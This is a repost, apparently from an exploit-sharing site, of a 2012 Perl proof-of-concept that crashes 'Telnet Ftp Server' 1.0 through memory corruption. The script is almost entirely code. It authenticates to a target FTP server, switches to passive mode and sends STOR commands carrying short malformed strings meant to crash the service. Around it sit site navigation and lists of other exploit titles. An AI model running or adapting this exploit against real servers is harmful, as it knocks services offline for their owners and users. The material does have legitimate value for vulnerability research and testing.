首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Telnet Ftp Server <= Memory Corruption PoC
来源:coolkaveh@rocketmail.com 作者:coolkaveh 发布时间:2012-07-16  
# Exploit Title: Telnet Ftp Server <= Memory Corruption PoC
# crash:http://img40.imageshack.us/img40/595/ftpqm.jpg
# Date: July 7, 2012
# Author: coolkaveh
# coolkaveh@rocketmail.com
# https://twitter.com/coolkaveh
# Vendor Homepage: http://www.slimbyte.sufx.net/
# also download link available at : http://telnet-ftp-server.en.softonic.com/
# Version: 1.0  build(1.218)
# Tested on: windows 7 SP1
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Crappy Telnet Ftp Server Memory Corruption PoC
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl -w
use IO::Socket;
use Thread;
$|=1;
$host=shift;
$port=shift || "21";
if(!defined($host)){
 print("usage: $0 \$host [\$port]\n");
 exit(0);
}
$check_first=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Timeout=>60);
if(defined $check_first){
 print "$host -> $port is alive.\n";
 $check_first->close;
}else{
 die("$host -> $port is closed!\n");
}
@bf1=(
'A'x5,
);
@bf2=(
'!)!)',
);
@bf3=(
'0',
);
@t=@bf1;
push(@t, @bf2);
push(@t, @bf3);
sub check(){
 #Thread->self->detach;
 $sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Timeout=>60);
 if(defined $sock){
  #print "$host -> $port is alive.\n";
  undef($content_tmp);
  $sock->recv($content_tmp,100,0);
  if(length($content_tmp)>0){
   $sock->close;
   return 1;
  }else{
   $sock->close;
   return 0;
  }
 }else{
  #print("$host -> $port is closed!\n");
  return 0;
 }
}
#set PASV Mode send Socket
sub send_sock($){
 $send_port_num=shift;
 Thread->self->detach;
 $send_sock_tmp=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$send_port_num, Proto=>'tcp', Timeout=>30);
 if(defined($send_sock_tmp)){
  $send_sock_tmp->recv($mem,100,0);
  print "$mem\n";
  $mem=0;
  $send_sock_tmp->close;
  undef($send_port_num);
  return 1;
 }else{
  undef($send_port_num);
  return 0;
 }
}
print "Please enter the real username: ";
$real_username=<STDIN>;
chop($real_username);
print "Please enter the real password: ";
$real_password=<STDIN>;
chop($real_password);
@cm=(
'STOR',
'STOR',    
);
$sock3=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30);
if(defined($sock3)){
 $sock3->recv($content, 100, 0);
 print "$content\n";
 sleep(2);
 $sock3->send("USER "."$real_username\r\n", 0);
 sleep(2);
 $sock3->recv($content, 100, 0);
 print "$content\n";
 sleep(2);
 $sock3->send("PASS "."$real_password\r\n", 0);
 sleep(2);
 $sock3->recv($content, 100, 0);
 print "$content\n";
 sleep(2);
 if($content=~m/^230/){
  $sock3->close;
 }else{
  $sock3->close;
  die("Username or Password is wrong!\n");
 }
}else{
 die "$host -> $port is closed!\n";
}
L_V_J: undef($cmd);
C_L: foreach $cmd (@cm){
 foreach $poc (@t){
  LABEL5: $sock4=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30);
  if(defined($sock4)){
   $sock4->recv($content, 100, 0);
   print "$content\n";
   sleep(2);
   $sock4->send("USER "."$real_username\r\n", 0);
   sleep(2);
   $sock4->recv($content, 100, 0);
   print "$content\n";
   sleep(2);
   $sock4->send("PASS "."$real_password\r\n", 0);
   sleep(2);
   $sock4->recv($content, 100, 0);
   print "$content\n";
   sleep(2);
   if(($cmd eq 'STOR')){
    $sock4->send("PASV\r\n", 0);
    sleep(2);
    $sock4->recv($content, 100, 0);
    print "$content\n";
    sleep(2);
    if($content=~m/\((.*),(.*),(.*),(.*),(.*),(.*)\)/){
     $send_port=$5*256+$6;
    }
    }
   }
   $sock4->send("$cmd"." "."$poc\r\n", 0);
  Thread->new(\&send_sock,$send_port);
   $sock4->send("$cmd"." "."$poc\r\n", 0);
   sleep(2);
   $sock4->recv($content, 100, 0);
   $thread3=Thread->new(\&check);
   undef($thread3);
   $sock4->send("QUIT\r\n", 0);
   }
    }
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Intel Core2Duo cpu cache contr
·beSTORM ActiveX (WinGraphviz.d
·Netcat 1.11 Crash POC
·Shadow Stream Recorder (aslr b
·Siemens Simatic S7-1200 CPU ST
·WM Downloader (aslr bypass) st
·Siemens Simatic S7-300 PLC Rem
·Kool Media Converter 2.7.0 Den
·Siemens Simatic S7-300/400 CPU
·Mc Full Audio Converter 1.3.0
·Hastymail 2.1.1 RC1 Command In
·ALLMediaServer 0.8 Buffer Over
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved